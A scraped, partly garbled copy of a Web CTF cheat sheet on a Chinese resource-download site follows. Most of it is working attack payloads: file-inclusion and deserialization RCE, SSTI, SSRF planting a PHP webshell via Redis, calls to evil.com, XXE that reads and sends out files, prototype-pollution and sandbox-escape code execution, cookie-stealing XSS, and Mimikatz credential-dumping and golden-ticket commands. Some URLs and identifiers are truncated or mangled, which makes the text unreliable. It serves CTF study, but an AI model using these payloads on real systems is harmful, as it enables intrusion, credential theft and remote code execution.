    /?page=../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('PAYLOAD'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt
  • Example

  • - Balsn CTF 2021 - 2linephp
    - 巅峰极客2020 - MeowWorld
    - SEETF 2023 - readonlt

    Nginx buffering

  • 當 Request body 過大或是 fastcgi ser 過大,超過 buffer size 時,其內容會保存到暫存檔中 (reference)

  • - 會在
    /var/lib/nginx/body/, /var/lib/nginx/fastcgi/ 下建立暫存檔
    - 但該暫存檔會馬上被刪除
    - 可以透過
    /proc/<nginx worker pid>/fd/<fd> 來取得被刪除的檔案內容
    - php 的
    include() 會將 fd 路徑解析成 /var/lib/nginx/body/0000001337 (deleted) 格式,導致引入失敗
    - 可以用以下方式繞過
    -
    /proc/self/fd/34/../../../34/fd/15
    -
    /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/34/fd/15

  • Example

  • - hxp ctf 2021 - includer's revenge
    - hxp ctf 2021 - counter

    data://

  • 條件

  • - allow_url_fopen: On
    - allow_url_include: On
  • 用法

  • -
    ?file=data://text/plain,<?php phpinfo()?>
    -
    ?file=data:text/plain,<?php phpinfo()?>
    -
    ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

    zip / phar

  • 適用驗證副檔名時

  • zip

  • - 新建 zip,裡頭壓縮 php 腳本(可改副檔名)
    -
    ?file=zip://myzip.zip#php.jpg
    - Example
    - 0CTF 2021 Qual - 1linephp
  • phar

  • -
    <FilesMatch "kai">
    SetHandler application/x-httpd-php
    </FilesMatch>

    Content-Type: application/x-www-form-urlencoded; multipart/form-data; boundary=x

    --x
    Content-Disposition: form-data; name="query";
    Content-Type: image/jpeg&action=search&query=aaa'or''='

    meow
    --x--

    Content-Type: multipart/form-data; boundary=x

    --x\0
    Content-Disposition: form-data; name="path";

    ../../../../etc/passwd
    --x\0

    Content-Type: multipart/form-data; BOUNDARY=y; boundary=x;

    --x
    Content-Disposition: form-data; name="test";
    Content-Type: text/plain

    --y
    Content-Disposition: form-data; name="msg";
    Content-Type: text/plain

    1
    --y--
    --x--

    Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;

    --x
    Content-Disposition: form-data; name="x";

    1
    --x
    --y:
    Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";

    --x
    Content-Disposition: form-data; name="foo";
    Content-Type: <%@ Page Language="JScript"%><%e.Item["x"],"unsafe");%>

    --y:--
    --x--
    php
    <?php

    class Kaibro {
    public $test = "ggininder";
    function __wakeup()
    {
    system("echo ".$this->test);
    }
    }

    $input = $_GET['str'];
    $kb = unserialize($input);
    php
    <?php

    class Kaibro {
    private $test = "ggininder";
    function __wakeup()
    {
    system("echo ".$this->test);
    }
    }

    $input = $_GET['str'];
    $kb = unserialize($input);

    <?php
    class TestObject {
    }

    ("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $o = new TestObject();
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
    ?>

    <?php
    class FLAG{}

    $obj=serialize(new FLAG());
    $zip = new ZipArchive;
    $res = $zip->open('test.zip', ZipArchi);
    $zip->addFromString('test.txt', 'meow');
    $zip->setArchi($obj);
    $zip->close();

    // trigger: phar://test.zip

    <?php
    //("trigger.tar");
    class FLAG{}
    $phar = new PharData("trigger.tar");
    $phar["kaibro"] = "meow";
    $obj = new FLAG();
    $phar->setMetadata($obj);
    // trigger: phar://trigger.tar
    python
    import os
    import cPickle
    import sys
    import base64

    class Exploit(object):
    def __reduce__(self):
    return (os.system, ('id',))

    shellcode = cPickle.dumps(Exploit())
    print base64.b64encode(shellcode)
    python
    import os
    import cPickle
    import sys
    import base64

    s = raw_input(":")

    print cPickle.loads(base64.b64decode(s))

    $ python a.py > tmp
    $ cat tmp | python b.py
    uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
    ruby
    erb = ERB.allocate
    erb.instance_ :@src, "
    id"
    depr = Acti::Deprecation::DeprecatedInstance.new erb, :result, "foo", Acti::Deprecation
    hash = {depr => 'something'}
    marshalled = Marshal.dump(hash)
    print marshalled
    ruby
    xml = %{
    <?xml ="1.0" encoding="UTF-8"?>
    <bingo type='yaml'>
    ---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
    'test; sleep(10); test' :
    !ruby/object:OpenStruct
    table:
    :defaults: {}
    </bingo>

    }.strip
    java
    ResourceRef ref = new ResourceRef(RESOURCECLASS , null, "", "", true, FACTORY, null);
    ref.add(new StringRefAddr("forceString", "x=FUNC_NAME"));
    ref.add(new StringRefAddr("x",VALUE));
    python
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.() %}
    {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
    {{ b'eval'.popen("id").read()') }}
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}
    python
    userdata = {"user" : "kaibro", "password" : "ggininder" }
    passwd = raw_input("Password: ")
    if passwd != userdata["password"]:
    print ("Password " + passwd + " is wrong for user %(user)s") % userdata

    push graphic-context
    0 0 640 480
    fill 'url()'
    pop graphic-context
    xml
    <xsl:stylesheet xmlns:xsl=" xmlns:abc=" ="1.0">
    <xsl:include href="
    <xsl:template match="/">
    </xsl:template>
    </xsl:stylesheet>

    #EXTM3U
    #EXT-X-MEDIA-SEQUENCE:0
    #EXTINF:10.0,

    #EXT-X-ENDLIST

    127.0.0.1
    127.00000.00000.0001
    localhost
    127.0.1
    127.1
    0.0.0.0
    0.0
    0

    ::1
    ::127.0.0.1
    ::ffff:127.0.0.1
    ::1%1

    127.12.34.56 (127.0.0.1/8)
    127.0.0.1.xip.io

    (decimal)






    ]

    FLUSHALL
    SET myshell "<?php system($_GET['cmd']) ?>"
    CONFIG SET DIR /www
    CONFIG SET DBFILENAME shell.php
    SAVE
    QUIT

    push graphic-context
    0 0 640 480
    fill 'url()'
    pop graphic-context

    dict://evil.com:5566

    $ nc -vl 5566
    Listening on [0.0.0.0] (family 0, port 5278)
    Connection from [x.x.x.x] port 5566 [tcp/*] accepted (family 2, sport 40790)
    CLIENT libcurl 7.35.0

    -> libcurl

    sftp://evil.com:5566

    $ nc -vl 5566
    Listening on [0.0.0.0] (family 0, port 5278)
    Connection from [x.x.x.x] port 5278 [tcp/*] accepted (family 2, sport 40810)
    SSH-2.0-libssh2_1.4.2

    -> ssh
    xml
    <!DOCTYPE kaibro[
    <!ENTITY param "hello">
    ]>
    <root>&param;</root>
    xml
    <!DOCTYPE kaibro[
    <!ENTITY xxe SYSTEM "
    ]>
    <root>&xxe;</root>
    xml
    <!DOCTYPE kaibro[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <root>&xxe;</root>
    xml
    <!DOCTYPE kaibro[
    <!ENTITY xxe SYSTEM "\\12.34.56.78">
    ]>
    <root>&xxe;</root>
    xml
    <!DOCTYPE kaibro[
    <!ENTITY % remote SYSTEM "
    %remote;
    ]>
    <root>&b;</root>
    xml
    <?xml ="1.0"?>
    <!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/xxe/test.php">
    <!ENTITY % remote SYSTEM "
    %remote;
    %all;
    %send;
    ]>
    xml
    <!ENTITY % all "<!ENTITY &#37; send SYSTEM '
    xml
    <!DOCTYPE data [
    <!ENTITY % dtd SYSTEM "
    %dtd;
    %all;
    ]>
    <root>&f;</root>
    xml
    <!ENTITY % file SYSTEM "file:///var/www/html/flag.xml">
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % end "]]>">
    <!ENTITY % all "<!ENTITY f '%start;%file;%end;'>">
    xml
    <!DOCTYPE data [
    <!ENTITY a0 "dos" >
    <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
    <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
    <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
    <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
    ]>
    <data>&a4;</data>
    xml
    <?xml ="1.0" standalone="yes"?>
    <!DOCTYPE ernw [
    <!ENTITY xxe SYSTEM "phar:///var/www/html/images/gginin/xxxx.jpeg" > ]>
    <s="500px" height="100px" xmlns=" xmlns:xlink=" ="1.1">
    <text font-family="" font-size="16" x="10" y="40">&xxe;</text>
    </svg>
    xml
    <?xml ="1.0" encoding="UTF-8"?>
    <!DOCTYPE message[
    <!ELEMENT message ANY >
    <!ENTITY % NUMBER '<!ENTITY &#x25; file SYSTEM "file:///flag">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
    '>
    %NUMBER;
    ]>
    <message>a</message>
    xml
    <?xml ="1.0" encoding="utf-8"?>
    <!DOCTYPE ANY [
    <!ENTITY % dtd PUBLIC "-//OXML/XXE/EN" "
    %dtd;%ftp;%send;
    ]>
    <ANY>xxe</ANY>
    xml
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % ftp "<!ENTITY &#37; send SYSTEM 'ftp://fakeuser:%file;@127.0.0.1:2121'>">
    xml
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % ftp "<!ENTITY &#37; send SYSTEM 'ftp://fakeuser:pass@127.0.0.1:2121/%file;'>">
    xml
    <soap:Body>
    <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM " %dtd;]><xxx/>]]>
    </foo>
    </soap:Body>
    xml
    <?xml ="1.0" encoding="UTF-8"?>
    <root xmlns:xi="
    <xi:include href="
    </root>
    xml
    <xsl:stylesheet xmlns:xsl=" xmlns:abc=" ="1.0">
    <xsl:template match="/">
    <xsl: select="unparsed-text('/etc/passwd', 'utf-8')"/>
    </xsl:template>
    </xsl:stylesheet>
    ja
    goodshit = {}
    goodshit.__proto__.password = "ggininder"

    user = {}
    console.log(user.password)

    => ggininder


    ja
    let o1 = {}
    let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
    merge(o1, o2)
    console.log(o1.a, o1.b)

    => 1 2

    o3 = {}
    console.log(o3.b)

    => 2


    ja
    let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
    console.log({}.devMode); // true
    ja
    var _= require('lodash');
    = '{"__proto__":{"oops":"It works !"}}';
    var a = {};
    _.merge({}, JSON.parse(malicious_payload));
    ja
    const { exec, execSync, spawn, spawnSync, fork } = require('child_process');

    // pollute
    Object.prototype.env = {
    NODE_DEBUG : 'require("child_process").execSync("touch pwned")//',
    NODE_OPTIONS : '-r /proc/self/environ'
    };

    // method 1
    fork('blank');
    // method 2
    spawn('node', ['blank']).stdout.pipe(process.stdout);
    // method 3
    console.log(spawnSync('node', ['blank']).stdout.toString());
    // method 4
    console.log(execSync('node blank').toString());
    ja
    ({}).__proto__.NODE_OPTIONS = '--require=./malicious-code.js';
    console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());
    ja
    ({}).__proto__.NODE_OPTIONS =
    --experimental-loader="data:text/ja,console.log('injection');";
    console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());
    ja
    const child_process = require('child_process');

    Object.prototype.shell = 'node';
    Object.prototype.env = {
    NODE_DEBUG : '1; throw require("child_process").execSync("touch pwned").toString()//',
    NODE_OPTIONS : '-r /proc/self/environ'
    };

    child_process.execSync('id');
    ja
    a = {}
    a["__proto__"]["exports"] = {".":"./pwn.js"}
    a["__proto__"]["1"] = "./"
    require("./index.js")
    json
    {
    "__proto__":{
    "data":{
    "name":"./usage",
    "exports":"./preinstall.js"
    },
    "path":"/opt/yarn-v1.22.19/",
    "shell":"sh",
    "contextExtensions":[
    {
    "process":{
    "env":{
    "npm_config_global":"1",
    "npm_execpath":""
    },
    "execPath":"wget\u0020);echo"
    }
    }
    ],
    }
    }
    onmouseo(1) x= src=# xml
    <?xml ="1.0" standalone="no"?>
    <!DOCTYPE s "-//W3C//DTD SVG 1.1//EN" "

    <s="1.1" baseProfile="full" xmlns="
    <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
    <script type="text/ja">
    alert(document.domain);
    </script>
    </svg>
    html
    <iframe srcdoc="&#x3C;svg/&#x6f;nload=alert(document.domain)&#x3E;">

    RIFF....WAVE...
    alert(1);
    function RIFF(){}

    <p>可控內容<p>
    <script src="xxx" nonce="AAAAAAAAAAA"></script>

    <p><script src="http//kaibro.tw/uccu.js" a="<p>
    <script src="xxx" nonce="AAAAAAAAAAA"></script>
    ja
    async function a(){
    c={iceServers:[{urls:"stun:{{user.id}}.x.cjxol.com:1337"}]}
    (p=new RTCPeerConnection(c)).createDataChannel("d")
    await p.setLocalDescription()
    }
    a();

    Content-language: en
    Content-type: text/html
    Body:----foo----

    <script>
    fetch(' + escape(document.cookie))
    </script>

    ----foo----
    html
    <form id=test1></form>
    <form name=test2></form>

    <script>
    console.log(test1); // <form id=test1></form>
    console.log(test2); // <form name=test2></form>
    console.log(document.test1); // undefined
    console.log(document.test2); // <form name=test2></form>
    </script>
    html
    <form name="getElementById"></form>
    <form id="form"></form>

    <script>
    console.log(document.getElementById("form")); // Error
    </script>

    <script>
    console.log("I'll be executed!");
    </script>
    html
    <form id=test1><input name=test2></form>
    <script>
    alert(test1.test2); // "[object HTMLInputElement]"
    </script>
    html
    <a id=test1>click!</a>
    <a id=test1>click2!</a>
    <script>
    console.log(window.test1); // <HTMLCollection(2) [a#test1, a#test1, test1: a#test1]
    </script>
    html
    <a id="test1"></a>
    <a id="test1" name="test2" href="x:alert(1)"></a>
    <script>
    alert(window.test1.test2); // x:alert(1)
    </script>
    python
    import jwt
    public = open('public.pem', 'r').read() # public key
    prin(jwt.encode({"user":"admin","id":1}, key=public, algorithm='HS256'))

    location /files {
    alias /home/
    }

    > "123456".replace("34", "xx")
    '12xx56'
    > "123456".replace("34", "$
    ")
    '121256'
    > "123456".replace("34", "$&")
    '123456'
    > "123456".replace("34", "$'")
    '125656'
    > "123456".replace("34", "$$")
    '12$56'
    /^[a-zA-Z0-9 ${}]+$/g Functiona${return constructor}{constructor} ${constructor} return flag ja
    let res = import('./foo.js')
    res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
    ja
    a = {};
    function stack() {
    new Error().stack;
    stack();
    }
    try {
    stack();
    } catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule
    .require('child_process')
    .execSync('echo "flag is here" > flag');
    }
    ja
    err = {};
    const handler = {
    getPrototypeOf(target) {
    (function stack() {
    new Error().stack;
    stack();
    })();
    }
    };
    const proxiedErr = new Proxy(err, handler);
    try {
    throw proxiedErr;
    } catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
    }
    ja
    const err = new Error();
    err.name = {
    toString: new Proxy(() => "", {
    apply(target, thiz, args) {
    const process = args.constructor.constructor("return process")();
    throw process.mainModule.require("child_process").execSync("whoami").toString();
    },
    }),
    };
    try {
    err.stack;
    } catch (stdout) {
    stdout;
    }
    ja
    async function fn() {
    (function stack() {
    new Error().stack;
    stack();
    })();
    }
    p = fn();
    p.constructor = {
    [Symbol.species]: class FakePromise {
    constructor(executor) {
    executor(
    (x) => x,
    (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch 123'); }
    )
    }
    }
    };
    p.then();

    #define gg_width 1337
    #define gg_height 1337
    AddType application/x-httpd-php .asp
    java
    (value = "/home", method = RequestMethod.GET)
    public String home( User user, Model model) {
    if (showSecret){
    model.addAttribute("firstSecret", firstSecret);
    }
    return "home";
    }

    # butit still works
    A.192.168.1.1.fore.network

    #alternate between localhost and 10.0.0.1 forever
    A.127.0.0.1.1time.10.0.0.1.1time.repeat.rebind.network

    #first respond with 192.168.1.1 then 192.168.1.2. Now respond 192.168.1.3forever.
    A.192.168.1.1.1time.192.168.1.2.2times.192.168.1.3.fore.network

    #respond with 52.23.194.42 the first time, then whatever whonow--default-address
    # isset to fore that (default: 127.0.0.1)
    A.52.23.194.42.1time.rebind.network
    `
    - rbndr.us
    -
    36573657.7f000001.rbndr.us
    - Example
    - BalsnCTF 2019 - 卍乂Oo韓國魚oO乂卍
    - DEFCON CTF 2019 Qual - ooops


  • - Encoding con

  • Mimikatz

  • - 撈密碼
    -
    mimikatz.exe pri::debug sekurlsa::logonpasswords full exit >> log.txt
    - powershell 無文件:
    powershell "IEX (New-Object Net.WebClient).DownloadString('); In -DumpCreds"
    - Pass The Hash
    -
    sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1a
    -
    sekurlsa::pth /user:Administrator /domain:kaibro.local /aes256:b90314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
    -
    sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b90314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
    - TGT
    -
    kerberos::tgt (Displays informations about the TGT of the current session)
    - List / Export Kerberos tickets of all sessions
    -
    sekurlsa::tickets /export
    - Pass The Ticket
    -
    kerberos::ptt
    - Golden
    - generate the TGS with NTLM:
    kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<ser> /target:<ser>
    - generate the TGS with AES 128 key:
    kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<ser> /target:<ser>
    - generate the TGS with AES 256 key:
    kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<ser> /target:<ser>
    - Purge
    -
    kerberos::purge` (Purges all tickets of the current session)
  • WASM

  • -
    -
    -

    ----

    Contributing

    Welcome to open Pull Request

    OR

    ![Buy me a coffee]()

    ![Stargazers over time]()

    项目信息

    开发语言:Ruby

    Star 数:2993

    技术要点

    该项目属于CTF思路方向的开源资源,代码结构清晰,适合安全研究人员学习参考。项目围绕Web CTF CheatSheet 🐈展开,提供了可运行的实现,对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

    从技术实现角度看,此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论,梳理项目的初始化流程、核心模块职责与数据流转,逐步掌握其中的技术细节与设计思路。

    使用与学习建议

    1. 下载源码压缩包,解压到本地环境。

    2. 根据项目类型准备对应的运行环境与依赖。

    3. 按照 README 中的步骤完成配置与部署。

    4. 在隔离的测试环境中运行验证,避免影响生产系统。

    免责声明

    本资源来源于开源社区,仅供安全研究、技术学习与合法授权范围内的攻防演练使用,请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。

    资源标题Web-CTF-Cheatsheet - Web CTF CheatSheet 🐈
    所属分类CTF思路
    发布作者admin
    发布时间2026-10-05 23:35:01
    下载权限 免费下载
    附件数量2 个下载链接
    浏览次数382
    讨论数量0
    主题状态正常讨论中

    本资源免费,登录后即可在本页「下载链接」区域获取全部附件。

    请在评论区留言说明具体链接,或联系作者补档。楼主更新后本页会同步最新的下载地址。

    请先阅读正文中的授权说明;未注明的默认仅限站内学习交流,禁止直接搬运到其他站点二次售卖。
    还没有讨论,快来抢沙发~
    登录 后才能参与讨论
    下载链接
    会员才能下载
    登录后开通会员
    同分类推荐
    暂无同类资源
    免费登录即可下载
    查看会员
    放大预览

    © 2026 剑庭安 - 网站开发定制 SEO 优化蜘蛛池代做 在线看手相算命. 保留所有权利。

    Powered by 酷像SEOv3.0

    网站地图 Sitemap.xml
    首页 全部分类 黑客安全 逆向|反编译 精品源码 站长工具自助开通会员其他资源SEO工具站群源码泛程序蜘蛛模板蜘蛛池外链工具创意乐园 搜索 会员服务 登录 注册